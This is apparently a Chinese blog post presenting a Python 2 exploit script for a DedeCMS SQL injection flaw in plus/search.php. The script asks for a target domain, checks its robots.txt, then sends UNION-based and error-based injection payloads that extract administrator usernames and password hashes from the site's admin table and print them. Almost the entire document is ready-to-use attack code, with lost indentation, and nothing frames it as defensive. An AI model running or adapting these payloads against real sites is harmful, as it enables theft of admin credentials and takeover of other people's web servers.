漏洞利用脚本[exploit]编写
#!/usr/bin/python
#coding:utf-8
#
#time:2014-2-21
#write:jack
#info dedecms oday plus.search.php exploit example
#
import urllib,urllib2
import os, re
res = r'\=\d\"\>\w{1,9}\<\/'
resname = r'\w{1,9}'
respasswd = r'\d{3}\;\"\>\w{20}'
respd = r'\w{20}'
sitename = str(raw_input('请输入不带http://的域名，同时不要带目录。例如：www.twowt.net\n'))
url = 'http://'+sitename+'/robots.txt'
openurl = urllib2.urlopen(url)
sitetext = openurl.read()
lystr = 'Disallow: /plus/search.php'
if lystr in sitetext:
print 'ok!可以！'
else:
print '功力不深，不起！走吧！'
exit()
exploit = str('/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a')
url = str('http://'+sitename+exploit)
openurl = urllib2.urlopen(url)
result = openurl.read()
def matter():
adminname = re.findall(res,result)
#从网页中提取账户
admin = re.findall(resname,str(adminname))
#第二次提取
print admin[1]
adminpasswd = re.findall(respasswd,result)
passwd = re.findall(respd,str(adminpasswd))
passwd = str(passwd[0])
print passwd[3:19]
text = 'Safe Alert:'
#结果中若出现Safe Alert: Request Error step 1 !进行第二次利用
if text in result:
twourl = str('http://'+sitename+"/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a")
twoopen = urllib2.urlopen(twourl)
print '没找到第二次利用的站点，回头找到了再补充下提取'
else:
matter()
pass
bingo！
http://www.twowt.net/?post=14